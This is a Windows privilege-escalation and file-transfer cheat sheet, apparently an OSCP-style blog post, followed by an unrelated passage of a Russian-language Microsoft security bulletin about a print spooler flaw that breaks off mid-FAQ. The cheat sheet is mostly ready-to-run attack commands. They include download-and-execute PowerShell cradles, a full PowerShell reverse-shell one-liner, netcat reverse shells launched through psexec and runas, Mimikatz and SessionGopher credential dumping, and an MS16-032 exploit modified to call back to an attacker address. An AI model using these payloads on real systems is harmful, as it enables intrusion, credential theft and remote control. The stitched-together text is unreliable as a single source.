Most of these will require that we create a simple local webserver on our Kali box to sevre the files (NOTE: I have had issues running this command within TMUX for whatever reason… so dont run it in TMUX).
I like to use the Python Simple HTTP Server:

root@kali:~/Documents/Exploits/WindowsPRIVZ# python -m SimpleHTTPServer 80

Or the Python pyftpdlib FTP Server (again don’t run from TMUX):

apt-get install python-pyftpdlib
root@kali:~/Documents/Exploits/WindowsPRIVZ# python -m pyftpdlib -p 21

Uploading Files with VBScript

In my experiance, VBScript is one of the easiest methods of transfering files to a remote Windows. The only downside is that the file size you can transfer is rather limited. I often have trouble transfering anything over 1 MB using this method and have to fall back on other methods (Windows-privesc-check2.exe is much too large to transfer using this method).
First lets test to see if we can run VBScript

echo WScript.StdOut.WriteLine "Yes we can run vbscript!" > testvb.vbs

Now we run it to see the results:

If you see the following message, we are good to go with VBScript!:

C:UsersTest>cscript testvb.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

Yes we can run vbscript!

If you see the following messages, you should move on to PowerShell:

C:temp>cscript testvb.vbs
This program is blocked by group policy. For more information, contact your system administrator.
C:temp>testvb.vbs
Access is denied.

Now we can create a very simple downloader script by copying and pasting this single line of code into your windows commandline. I have tried to create a VBS script to download files from a remote webserver with the least possible number of lines of VBS code and I believe this is it.
If Windows is an older version of windows (Windows 8 or Server 2012 and below) use the following script:

CMD C:> echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")  > dl.vbs &echo dim bStrm: Set bStrm = createobject("Adodb.Stream")  >> dl.vbs &echo xHttp.Open "GET", WScript.Arguments(0), False  >> dl.vbs &echo xHttp.Send >> dl.vbs & echo bStrm.type = 1 >> dl.vbs &echo bStrm.open >> dl.vbs & echo bStrm.write xHttp.responseBody >> dl.vbs &echo bStrm.savetofile WScript.Arguments(1), 2 >> dl.vbs

If Windows is a newer version (Windows 10 or Server 2016), try the following code:

CMD C:> echo dim xHttp: Set xHttp = CreateObject("MSXML2.ServerXMLHTTP.6.0")  > dl.vbs &echo dim bStrm: Set bStrm = createobject("Adodb.Stream")  >> dl.vbs &echo xHttp.Open "GET", WScript.Arguments(0), False  >> dl.vbs &echo xHttp.Send >> dl.vbs &echo bStrm.type = 1 >> dl.vbs &echo bStrm.open >> dl.vbs &echo bStrm.write xHttp.responseBody >> dl.vbs &echo bStrm.savetofile WScript.Arguments(1), 2 >> dl.vbs

Now try to download a file to the local path:

CMD C:> cscript dl.vbs "http://10.10.10.10/archive.zip" ".archive.zip"

Uploading Files with CertUtil.exe

I’ve found that CertUtil can be quite reliable when all else seems to fail.

certutil.exe -urlcache -split -f http://10.10.10.10/exploit.exe

Transfering Files using MSHTA

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). And it can also be used to transfer files
HTML:

C:>mshta http://10.10.10.10/badthings.exe

FTP:

C:>mshta ftp://10.10.10.10:21/badthings.exe

Trasfering Files using Bitsadmin

Background Intelligent Transfer Service (BITS) is a component of Microsoft Windows XP and later iterations of the operating systems, which facilitates asynchronous, prioritized, and throttled transfer of files between machines using idle network bandwidth. BITSAdmin is a command-line tool that you can use to create download or upload jobs and monitor their progress. For full, comprehensive documentation of the tool and all of its commands, see bitsadmin and bitsadmin examples in the Windows IT Pro Center.

C:>bitsadmin /transfer badthings http://10.10.10.10:80/badthings.exe c:userspublicpayload.exe

Uploading Files with PowerShell

Test to see if we can run Powershell:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "get-host"

Test to see if we can run Powershell Version 2:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -Version 2 -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "$PSVersionTable"

Try to download a file from a remote server to the windows temp folder from the Windows command line:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/exploit.exe", "C:\Users\Public\Downloads\exploit.exe")"

Or from a PowerShell… shell:

PS C:> IEX(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/exploit.exe", "C:\Users\Public\Downloads\exploit.exe")"

OR This one seems to work better while at the console:

PS C:> IEX(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/exploit.exe", "C:UsersPublicDownloadsexploit.exe")

Uploading Files with Python

Sometimes a Windows machine will have development tools like Python installed.
Check for python

Download a file using Python:

python -c "import urllib.request; urllib.request.urlretrieve('http://10.10.10.10/cat.jpg', 'C:\Users\Public\Downloads\cat.jpg');"

Uploading Files with Perl

Sometimes a Windows machine will have development tools like PERL installed.
Check for PERL

Download a file using PERL:

perl -le "use File::Fetch; my $ff = File::Fetch->new(uri => 'http://10.10.10.10/nc.exe'); my $file = $ff->fetch() or die $ff->error;"

Uploading Files with FTP

After running the python ftp lib on (python -m pyftpdlib -p 21) on Kali, you can try connecting using the windows FTP client:

C:Userspwnd>ftp 10.10.10.10
Connected to 10.10.10.10
220 pyftpdlib 1.5.3 ready.
User (10.10.15.31:(none)): anonymous
331 Username ok, send password.
Password: anonymous

230 Login successful.                                                                                                                      
ftp> ls                                                                                                                                 
dir                                                                                                                                       
421 Active data channel timed out.                                                                                                       

If you are seeing a 421 timeout when you try to send a command it is likely because your connection is being blocked by the windows firewall. The Windows command-line ftp.exe supports the FTP active mode only. In the active mode, the server has to connect back to the client to establish data connection for a file transfer.

You can check to see if the remote machine has Winscp.exe installed. Winscp is capable of connecting to an FTP server using passive mode and will not be blocked by the firewall.

Transfering Files via SMB using Impacket

Kali comes loade with the incredible Impacket library which is a swiss army knife of network protocols… just Awesome. You can easily create a SMB share on your local Kali machine and move files between Kali and Windows with ease.
https://github.com/SecureAuthCorp/impacket

First we will setup the SMB Share on Kali like so:

root@kali:~# impacket-smbserver root /root/Desktop
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
                                                                    

Confirm it is up and running using Net View on the Windows command line:

C:UsersNull>net view \192.168.0.49
Shared resources at \192.168.0.49

(null)

Share name  Type  Used as  Comment

-------------------------------------------------------------------------------
smbshare    Disk
The command completed successfully.

Then we can trasnfer files from the command line as if it were a normal folder:

C:UsersAdmin>dir \192.168.0.49smbshare 
C:UsersAdmin>copy \192.168.0.49smbshareloot.zip .  

By far the most interesting feature of the SMB Share method is that you can execute files directly over the SMB Share without copying them to the remote machine (fileless execution is so hot right now):

C:UsersAdmin>\192.168.0.49smbsharepayload.exe

A fancy trick I learned from IPPSec is to create a mapped drive to a remote SMB share like so:

net use y: \192.168.0.49smbshare  
y: 
dir 

Execute a remote shell dropper

Often, you can leverage PowerShell to execute a remotely hosted powershell script which contains a shell dropper (generated by the platform of your choosing).

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -WindowStyle hidden -NonInteractive -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/Invoke-PowerShellTcp.ps1'))"

There are also some no-so-well documented PowerShell argument shortcuts so can use things like -w rather than -WindowsStyle (handy for smaller payloads):

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -w hidden -noni -nop -i None -ex Bypass -c "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/Invoke-PowerShellTcp.ps1'))"

Upgrading your Windows Shell

You might find that you are connected with a limited shell such as a Web shell, netcat shell or Telnet connection that simply is not cutting it for you. Here are a few oneliners you can use to upgrade your shell:

Upgrade Shell with PowerShell Nishang

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security and post exploitation during Penetraion Tests. The scripts are written on the basis of requirement by the author during real Penetration Tests.

root@kali:~/test# git clone https://github.com/samratashok/nishang.git                                                  
Cloning into 'nishang'...
remote: Enumerating objects: 1612, done.
remote: Total 1612 (delta 0), reused 0 (delta 0), pack-reused 1612
Receiving objects: 100% (1612/1612), 5.87 MiB | 6.62 MiB/s, done.
Resolving deltas: 100% (1010/1010), done.
root@kali:~/test# cd nishang/
root@kali:~/test/nishang# cd Shells/
root@kali:~/test/nishang/Shells# echo Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.10 -Port 4444 >> Invoke-PowerShellTcp.ps1
root@kali:~/test/nishang/Shells# python -m SimpleHTTPServer 80

Now open up a netcat listener on Kali:

And Execute the remote powershell script hosted on your Kali SimpleHTTPServer

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/Invoke-PowerShellTcp.ps1'))"

Upgrade Windows Command Line with a Powershell One-liner Reverse Shell:

You can run this oneliner from the remote Windows command prompt to skip the file upload step entirely (again be sure to update the IP and port):

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "^> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}"

Netcat Reverseshell Oneliners for Windows

Sometimes it is helpful to create a new Netcat session from an existed limited shell, webshell or unstable (short lived) remote shell.

Windows Enumeration

NOTE There are many executables that could provide privledge escalation if they are being run by a privledged user, most can be found on the incredible LOLBAS project:
https://lolbas-project.github.io/

Automated Windows Enumeration Scripts

We are also going to look a a few automated methods of performing Windows Enumeration including:

• WindownPrivEsc.exe
• Sherlock
• Watson
• JAWZ
• Seatbelt

Running Windows Privesc Check (windows-privesc-check)

The Windows Privesc Check is a very powerful tool for finding common misconfigurations in a Windows system that could lead to privledge escalation. It has not been updated for a while, but it is still as effective today as it was 5 years ago. The downside of this script is that it was written in Python and if the target system does not have Python installed, you will need to use an executable version that has a Python interpreter built in. Having to include Python in the package makes the executable version is pretty large, coming in at a whopping 7.14 MB!!

First we will need to clone the latest version to our environment:

root@kali:~/tools# git clone https://github.com/pentestmonkey/windows-privesc-check
Cloning into 'windows-privesc-check'...
remote: Enumerating objects: 1232, done.
remote: Total 1232 (delta 0), reused 0 (delta 0), pack-reused 1232
Receiving objects: 100% (1232/1232), 34.79 MiB | 4.61 MiB/s, done.
Resolving deltas: 100% (897/897), done.

Next we will need to setup a simple python HTTP webserver in Kali to host the file which the remote Windows box can download it from:

root@kali:~/tools# cd windows-privesc-check/
root@kali:~/tools/windows-privesc-check# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Now we will need to transfer the file to our remote windows box:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/windows-privesc-check2.exe", "C:\Users\Public\Downloads\windows-privesc-check2.exe");

And now we run the executeable on the remote machine. I like run with all the audit enabled like so:

C:UsersAdmin>cd ..
C:Users>cd Public
C:UsersPublic>cd Downloads
C:UsersPublicDownloads>windows-privesc-check2.exe --audit -a -o report
windows-privesc-check v2.0svn198 (http://pentestmonkey.net/windows-privesc-check)...

The windows-privesc-check will create a detailed HTML report and text based report for your review.

Running Sherlock

Sherlock is a powershell library with a number of privledge escalation checkers built in.
We can stage and run sherlock on a remote http server so the file never needs to hit the remote server’s HDD.

root@kali:~test# git clone https://github.com/rasta-mouse/Sherlock.git
Cloning into 'Sherlock'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 75 (delta 0), reused 2 (delta 0), pack-reused 72
Unpacking objects: 100% (75/75), done.
root@kali:~test# cd Sherlock/
root@kali:~test/Sherlock# ls
LICENSE  README.md  Sherlock.ps1
root@kali:~test/Sherlock# echo Find-AllVulns >> Sherlock.ps1
root@kali:~test/Sherlock# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Now we can run this from the remote Windows CMD shell:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/Sherlock.ps1'))"

Or from a Windows Powershell:

PS C:> IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/Sherlock.ps1')

Running Watson

Sherlock has been superceded by a .net Windows enumeration platform called Watson which is frequently updated by the author.
It is a bit tricker to deploy and use as you need to compile it yourself and match the version of .net with the target system’s version.

First, on the target system we will need to check the versions of .Net that have been installed by navigating to the .net framework folder and poking around:

cdWindowsMicrosoft.NETFramework
dir /s msbuild

Only active versions of .NET will have the msbuild.exe.
Make note of the available versions and leverage that to compile your version of Watson that targets the remote Windows machine.
Download the latest version of Watson from github:

git clone https://github.com/rasta-mouse/Watson.git

And open it using Visual Studio. In the Solution Explorer, click the Properties and modify the «Target Framework:» value to align with the remote Windows machine’s version of the .Net framework. It will prompt you to reopen the project. Once the project has reloaded, Build the project under the Release mode (CTRL + SHIFT + B).

Next we will copy our Watson.exe to our Kali instance and setup a simple python HTTP webserver in Kali to host the file which the remote Windows box can download it from:

root@kali:~/tools# cd Watson/
root@kali:~/tools/Watson# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Now we will need to transfer the compiled Watson.exe file to our remote windows box:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/Watson.exe", "C:\Users\Public\Downloads\Watson.exe");

And now we run the executeable on the remote machine. I like run with all the audit enabled like so:

C:UsersAdmin>cd ..
C:Users>cd Public
C:UsersPublic>cd Downloads
C:UsersPublicDownloads>Watson.exe

Running JAWS — Just Another Windows (Enum) Script

JAWS is another powershell library that was built with privledge escalation of the OSCP lab machines in mind.
We can stage and run JAWS on a remote http server so the file never needs to hit the remote server’s HDD.

root@kali:~test# git clone https://github.com/411Hall/JAWS

Now we can run this from the remote Windows CMD shell:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/jaws-enum.ps1'))"

Or from a Windows Powershell:

PS C:> IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/jaws-enum.ps1')

And we should see the following output start to appear:

Running J.A.W.S. Enumeration
        - Gathering User Information
        - Gathering Processes, Services and Scheduled Tasks
        - Gathering Installed Software

Fireeye Session Gopher

Leveraging credentials is still the most common ways of privledge escalation in Windows environments. Session Gopher is a PowerShell script designed to automaticlly harvest credentials from commonly used applications.

To run Session Gopher, we will first need to pull down the latest version from the Fireeye github repository:

git clone https://github.com/fireeye/SessionGopher
Cloning into 'SessionGopher'...
remote: Enumerating objects: 48, done.
Unpacking objects: 100% (48/48), done.
remote: Total 48 (delta 0), reused 0 (delta 0), pack-reused 48

Next we can serve it up on our local KALI instance by using the simple python HTTP server:

root@kali:~/tools# cd SessionGopher/
root@kali:~/tools/SessionGopher# ls
README.md  SessionGopher.ps1
root@kali:~/tools/SessionGopher# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Finally we can file-lessly execute it from our remote Windows shell:

@"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/SessionGopher.ps1')); Invoke-SessionGopher -Thorough"

Or from a Windows Powershell:

PS C:> IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/SessionGopher.ps1')

Or we can download and run it:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/SessionGopher.ps1", "C:\Users\Public\Downloads\SessionGopher.ps1");
CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "& { . .SessionGopher.ps1; Invoke-SessionGopher -Thorough}"

Running Mimikatz

Mimikatz is a Windows post-exploitation tool written by Benjamin Delpy (@gentilkiwi). It allows for the extraction of plaintext credentials from memory, password hashes from local SAM/NTDS.dit databases, advanced Kerberos functionality, and more.
https://github.com/gentilkiwi/mimikatz

Running traditional (binary) Mimikatz

The original and most frequently updated version of Mimikatz is the binary executable which can be found here:
https://github.com/gentilkiwi/mimikatz/releases

First we will need to download a Mimikatz binary and copy it to the remote machine

root@kali:~/test# wget https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180925/mimikatz_trunk.zip     
--2018-10-16 15:14:49--  https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180925/mimikatz_trunk.zip                     
root@kali:~/test# unzip mimikatz_trunk.zip

Now we will need to copy the 3 files (win32 or x64 depending on the OS) required to run Mimikatz to the remote server.

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/mimidrv.sys", "C:\Users\Public\Downloads\mimidrv.sys"); (New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/mimikatz.exe", "C:\Users\Public\Downloads\mimikatz.exe"); (New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/mimilib.dll", "C:\Users\Public\Downloads\mimilib.dll")"

Now, if we dont have an overly interactive shell, we will want to execute Mimikatz without the built in CLI by passing the correct parameters to the executable. We use the log parameter to also log the clear password results to a file (just in case we are unable to see the output).

mimikatz log version "sekurlsa::logonpasswords" exit

Otherwise we can use the Mimikatz shell to get the passwords:

mimikatz.exe
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords

Running Powershell Mimikatz

The Powershell version is not as frequently updated, but can be loaded into memory without ever hitting the HDD (Fileless execution). This version simply reflectively loads the Mimikatz binary into memory so we could probably update it ourselves without much difficulty.

wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1

Fileless execution of Mimikatz from remotely hosted server:

PS C:> IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds

Windows Kernel Exploits

MS16-032

If the remote machine appears to be vulnerable to MS16-032, we can execute a powershell script from a remote server to exploit it.

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

Get the Powershell script from FuzzySecurity’s Github, add an invoke to the end of the script and share the folder using the python SimpleHTTPServer:

root@kali:~test# git clone https://github.com/FuzzySecurity/PowerShell-Suite.git
Cloning into 'PowerShell-Suite'...
remote: Enumerating objects: 378, done.
remote: Total 378 (delta 0), reused 0 (delta 0), pack-reused 378
Receiving objects: 100% (378/378), 5.94 MiB | 2.06 MiB/s, done.
Resolving deltas: 100% (179/179), done.
root@kali:~test# cd PowerShell-Suite/
root@kali:~test/PowerShell-Suite# echo Invoke-MS16-032 >> Invoke-MS16-032.ps1 
root@kali:~test/PowerShell-Suite# python -m Simple
SimpleDialog        SimpleHTTPServer    SimpleXMLRPCServer  
root@kali:~test/PowerShell-Suite# python -m SimpleHTTPServer 80

The default version of the MS16-032 script will create a Pop-up CMD.exe window on the remote machine. Unfortunatly, we cannot access this from a limited shell… BUT we can modify the exploit to call a reverse shell. Its pretty easy to modify it to call a reverse powershell that will connect back to our machine with a System shell. We will need to modify line 330 of the exploit (the ip address and port will need to be updated of course):

		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		#$CallResult = [Advapi32]::CreateProcessWithLogonW(
		#	"user", "domain", "pass",
		#	0x00000002, "C:WindowsSystem32cmd.exe", "",
		#	0x00000004, $null, $GetCurrentPath,
		#	[ref]$StartupInfo, [ref]$ProcessInfo)

		# Modified to create a Powershell reverse shell 
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, 
			'C:WindowsSystem32WindowsPowerShellv1.0powershell.exe', 
			'-NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "^> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}"',
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)

On the remote host execute the exploit:

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/Invoke-MS16-032.ps1'))"

Or from a Windows Powershell:

PS C:> IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/Invoke-MS16-032.ps1')

Or if you wanted to upload the exploit, you can always run it like this:

PS C:> powershell -ExecutionPolicy ByPass -command "& { . C:UsersPublicInvoke-MS16-032.ps1; Invoke-MS16-032 }"

On our Kali machine we create the reverse shell and … BOOM! Root dance.

root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.10.11] from (UNKNOWN) [10.10.10.10] 49182

PS C:Usersjimmy^> whoami
nt authoritysystem

Windows Run As

Prior to successfully performing a Windows run as, we of course need a valid windows username and password.
Here is a oneliner powershell script to verify a username / password is valid on the local system:

Requires .Net 3.5

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$username = '<username here>'; $password = '<password here>'; $computer = $env:COMPUTERNAME; Add-Type -AssemblyName System.DirectoryServices.AccountManagement; $obj = New-Object System.DirectoryServices.AccountManagement.PrincipalContext('machine',$computer); $obj.ValidateCredentials($username, $password); }"

Requires .Net 2.0

CMD C:> @"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$username = '<username here>'; $password = '<password here>'; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Start-Process -FilePath C:WindowsSystem32calc.exe -NoNewWindow -Credential $credential; }"

Switching users in linux is trival with the SU command. However, an equivalent command does not exist in Windows. Here are 3 ways to run a command as a different user in Windows.

Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have thier username and password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system).

 C:>psexec64 \COMPUTERNAME -u Test -p test -h "c:userspublicnc.exe -nc 192.168.1.10 4444 -e cmd.exe" 
 PsExec v2.2 - Execute processes remotely
 Copyright (C) 2001-2016 Mark Russinovich
 Sysinternals - www.sysinternals.com

Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe:

 C:>C:WindowsSystem32runas.exe /env /noprofile /user:Test "c:userspublicnc.exe -nc 192.168.1.10 4444 -e cmd.exe"
 Enter the password for Test:
 Attempting to start nc.exe as user "COMPUTERNAMETest" ...

PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse shell as the specified username and password.

 $username = '<username here>'
 $password = '<password here>'
 $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
 $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
 Start-Process -FilePath C:UsersPublicnc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:UsersPublic

Next run this script using powershell.exe:

CMD C:> powershell -ExecutionPolicy ByPass -command "& { . C:UserspublicPowerShellRunAs.ps1; }"

Other files

Here are few other handy scripts and things…

Capture a screen shot

The following powershell commands can be used to capture a screen shot of the remote computers desktop and store it as a BMP file.

Add-Type -AssemblyName System.Windows.Forms
Add-type -AssemblyName System.Drawing
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
$bitmap = New-Object System.Drawing.Bitmap $Screen.Width, $Screen.Height
$graphic = [System.Drawing.Graphics]::FromImage($bitmap)
$graphic.CopyFromScreen($Screen.Left, $Screen.Top, 0, 0, $bitmap.Size)
$bitmap.Save('screen1.bmp')

If you are on CMD you can use this handy one-liner to execute the same powershell command

@"%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms; Add-type -AssemblyName System.Drawing; $Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen; $bitmap = New-Object System.Drawing.Bitmap $Screen.Width, $Screen.Height; $graphic = [System.Drawing.Graphics]::FromImage($bitmap); $graphic.CopyFromScreen($Screen.Left, $Screen.Top, 0, 0, $bitmap.Size); $bitmap.Save('screen1.bmp')"

CopyAndPasteFileDownloader.bat

Windows file transfer script that can be pasted to the command line. File transfers to a Windows machine can be tricky without a Meterpreter shell. The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line)

CopyAndPasteEnum.bat

No File Upload Required Windows Privlege Escalation Basic Information Gathering (based on the fuzzy security tutorial).
Copy and paste the following contents into your remote Windows shell in Kali to generate a quick report

enumeration.md

Basic notes on Windows Enumeration from the OSCP.

windows_recon.bat

An uploadable batch file for performing basic windows enumeration.

References
https://medium.com/@hakluke
https://daya.blog/2018/01/06/windows-privilege-escalation/
https://pentestlab.blog/2017/04/19/stored-credentials/
https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://www.abatchy.com/
https://gist.github.com/egre55
https://github.com/egre55/ultimate-file-transfer-list
https://lolbas-project.github.io/
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://github.com/GhostPack/Seatbelt
https://github.com/rasta-mouse/Watson
http://hackingandsecurity.blogspot.com/2017/09/oscp-windows-priviledge-escalation.html
https://blog.ropnop.com/transferring-files-from-kali-to-windows/#smb

Security Bulletin

Уязвимость компонентов диспетчера печати Windows делает возможным несанкционированное повышение привилегий (2839894)

Дата публикации: 11 июня 2013 г. | Дата обновления: 16 декабря 2013 г.

Версия: 1.1

Общие сведения

Аннотация

Это обновление для системы безопасности устраняет обнаруженную пользователями уязвимость в Microsoft Windows. Эта уязвимость делает возможным несанкционированное повышение привилегий, если прошедший проверку подлинности злоумышленник удаляет подключение принтера. Чтобы воспользоваться этой уязвимостью, злоумышленник должен иметь действительные учетные данные и возможность входа в систему.

Этому обновлению для системы безопасности присвоен уровень «существенный» в отношении всех поддерживаемых выпусков Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012 и Windows RT. Дополнительные сведения см. в подразделе Подвержены и не подвержены уязвимости далее в этом разделе.

Это обновление для системы безопасности устраняет указанную уязвимость, исправляя способ выделения памяти в диспетчере печати Windows при удалении подключения принтера. Дополнительные сведения об этой уязвимости см. в подразделе «Часто задаваемые вопросы» для соответствующей уязвимости в следующем ниже разделе Сведения об уязвимости.

Рекомендация. У большинства клиентов включено автоматическое обновление, поэтому нет необходимости предпринимать какие-либо действия: данное обновление для системы безопасности загрузится и установится автоматически. Клиентам, у которых не включено автоматическое обновление, необходимо проверить наличие обновлений и установить это обновление вручную. Дополнительные сведения об особых параметрах конфигурации автоматического обновления см. в статье 294871 базы знаний Майкрософт.

Администраторам корпоративных установок и конечным пользователям, которые планируют установить это обновление для системы безопасности вручную, корпорация Майкрософт рекомендует сделать это при первой возможности, используя программное обеспечение для управления обновлениями или проверив наличие обновлений через службу обновлений Майкрософт.

См. также раздел Руководство и средства по диагностике и развертыванию этого бюллетеня.

Статья базы знаний

Подвержены и не подвержены уязвимости

Следующие продукты были проверены на наличие уязвимости в тех или иных версиях и выпусках. Прочие версии или выпуски не подвержены уязвимости, либо жизненные циклы их поддержки истекли. Сведения о жизненных циклах поддержки версий или выпусков используемых программных продуктов см. на веб-странице сроков поддержки продуктов Майкрософт.

Подвержены уязвимости

^[1]Это обновление доступно в Центре обновления Windows.

Не подвержены уязвимости

Обновленные часто задаваемые вопросы

Я использую Windows Server 2008 (установка основных серверных компонентов), Windows Server 2008 R2 (установка основных серверных компонентов) или Windows Server 2012 (установка основных серверных компонентов), которые перечислены в таблице «Подвержены уязвимости». Почему мне не предлагается обновление 2839894?
Обновление 2839894 предлагается только для систем Windows Server 2008, Windows Server 2008 R2 или Windows Server 2012 в варианте установки основных серверных компонентов с включенным параметром Printing-ServerCore-Role.

На моем компьютере установлена более ранняя версия программного обеспечения, описанного в этом бюллетене по безопасности. Что мне нужно сделать?
